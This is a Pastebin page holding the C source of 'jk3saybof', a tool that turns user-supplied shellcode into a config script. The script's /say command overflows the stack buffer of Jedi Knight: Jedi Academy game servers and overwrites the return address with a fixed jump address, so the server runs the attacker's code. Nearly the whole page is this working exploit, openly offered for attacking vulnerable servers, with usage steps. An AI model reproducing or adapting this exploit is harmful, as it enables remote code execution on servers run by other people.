Advertisement
Guest User

lamerlord

a guest
Feb 12th, 2010
621
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.88 KB | None | 0 0
  1. /*
  2. * jk3saybof copyright 2009 [lc]lamerlord
  3. *
  4. * This program is free software: you can redistribute it and/or modify
  5. * it under the terms of the GNU General Public License as published by
  6. * the Free Software Foundation, either version 3 of the License, or
  7. * (at your option) any later version.
  8. *
  9. * This program is distributed in the hope that it will be useful,
  10. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  12. * GNU General Public License for more details.
  13. *
  14. * You should have received a copy of the GNU General Public License
  15. * along with this program. If not, see <http://www.gnu.org/licenses/>.
  16. **/
  17.  
  18. #include<stdio.h>
  19. #include <string.h>
  20. #include <stdlib.h>
  21.  
  22. #define RETOFFSETT 1004
  23. #define CODESIZE 1000
  24. #define NEWRET 0x7c873c53
  25.  
  26. char code[CODESIZE];
  27. int codesize;
  28.  
  29. int getFileSize(FILE *fp)
  30. {
  31. int size = 0;
  32.  
  33. fseek(fp, 0, SEEK_END);
  34. size = ftell(fp);
  35. fseek(fp, 0, SEEK_SET);
  36.  
  37. return size;
  38. }
  39.  
  40. int loadBin(char *fileName)
  41. {
  42. FILE *fp;
  43.  
  44. fp = fopen(fileName, "r");
  45.  
  46. if(fp == 0)
  47. {
  48. printf("cannot open the file\n");
  49. return 0;
  50. }
  51.  
  52. codesize = 0;
  53. codesize = getFileSize(fp);
  54.  
  55. printf("Size of shellcode : %d Bytes\n", codesize);
  56.  
  57. if (codesize > CODESIZE)
  58. {
  59. printf("Binary shellcode too large\n");
  60. return 0;
  61. }
  62.  
  63. memset(code, 0x00, CODESIZE);
  64.  
  65. fread(code, sizeof(char), codesize, fp);
  66. fclose(fp);
  67. return 1;
  68. }
  69.  
  70. int main(int argc, char **argv)
  71. {
  72. FILE *cfgfile;
  73. unsigned int newRet;
  74.  
  75. char buffer[1024];
  76.  
  77. int i, j;
  78. int namelen = 7;
  79.  
  80. int* Addr;
  81.  
  82. printf("********************************************************\n");
  83. printf("< # ## >[lc]lamerlords JK3 cfg script maker\n");
  84. printf("< # # >For use in exploitation of voulnerable\n");
  85. printf("< ##lamer ##clan >Jedi knight Jedi Academy servers\n");
  86. printf("********************************************************\n\n");
  87.  
  88. printf("This program makes a script that can be executed\n");
  89. printf("from the client game console that will give the server\n");
  90. printf("a too big string throug the /say command and the stack buffer \n");
  91. printf("overflows, and the return adress is overwritten to point at an instruction\n");
  92. printf("that jumps to the start of the local buffer we just overflowed,\n");
  93. printf("witch has been filled with user specified shellcode in raw binary format.\n\n");
  94.  
  95. printf("Check http://aluigi.org/adv/jamsgbof-adv.txt for info about this voulnerability\n\n\n");
  96.  
  97. newRet = NEWRET;
  98.  
  99. if (argc < 3)
  100. {
  101. printf("Usage: crashconf <SHELLCODE> <OUTPUT>\n");
  102. printf("---SHELLCODE is a raw binary shellcode\n");
  103. printf("---OUTPUT.cfg is a text file u need to put in gamedata/base/ \n");
  104. printf("---Type /exec OUTPUT.cfg in JK3 console to test the exploit\n\n");
  105. return 0;
  106. }
  107.  
  108. if(loadBin(argv[1]) == 0) //load the raw shellcode from a binary file
  109. {
  110. printf("error while loading raw shellcode file: %s \n", argv[2]);
  111. printf(" Press any key to exit\n");
  112. return 0;
  113. }
  114.  
  115. cfgfile = fopen(argv[2], "w");
  116. //open the text file to put the game commands in
  117. if(cfgfile == 0)
  118. {
  119. printf("couldnt open JK3 config file: %s \n", argv[1]);
  120. return 0;
  121. }
  122.  
  123. memset(buffer, 0x90, 1024);
  124.  
  125. for( i = 0; i < (RETOFFSETT + namelen); i++)
  126. {
  127. if(i == ((RETOFFSETT + namelen) -8) - codesize ) //prints the shellcode
  128. {
  129. for(j=0; j < codesize; j++)
  130. {
  131. buffer[i+j]=code[j];
  132. }
  133. printf("Printing %d bytes of code\n", codesize);
  134.  
  135. }
  136.  
  137. if(i == ((RETOFFSETT + namelen)-8)) //overwrite returnadress
  138. {
  139. Addr = (int*)&buffer[i];
  140. (*Addr) = newRet;
  141. buffer[i+4] = 0;
  142. printf("Printing adress: 0x%x over the return adress\n", newRet);
  143. break;
  144. }
  145.  
  146. }
  147.  
  148. fprintf(cfgfile, "say \"%s\"", buffer); //print the overflowing string to cfgfile
  149. fclose(cfgfile);
  150. return 0;
  151.  
  152. }
  153.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement